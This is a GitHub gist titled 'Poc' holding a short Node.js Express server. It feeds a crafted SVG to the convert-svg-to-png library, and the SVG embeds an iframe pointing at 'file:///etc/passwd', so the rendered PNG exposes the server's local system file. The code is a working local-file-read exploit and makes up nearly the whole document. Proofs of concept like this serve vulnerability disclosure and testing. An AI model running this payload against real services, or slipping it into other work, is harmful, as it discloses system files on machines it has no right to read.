-
-
Save legndery/a248350bb25b8502a03c2f407cedeb14 to your computer and use it in GitHub Desktop.
Poc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { convert } = require('convert-svg-to-png'); | |
const express = require('express'); | |
const fileSvg = `<svg-dummy></svg-dummy> | |
<iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe> | |
<svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"> | |
<text x="0" y="0" class="Rrrrr" id="demo">data</text> | |
</svg>`; | |
const app = express(); | |
app.get('/poc', async (req, res)=>{ | |
try { | |
const png = await convert(fileSvg); | |
res.set('Content-Type', 'image/png'); | |
res.send(png); | |
} catch (e) { | |
res.send("") | |
} | |
}) | |
app.listen(3000, ()=>{ | |
console.log('started'); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment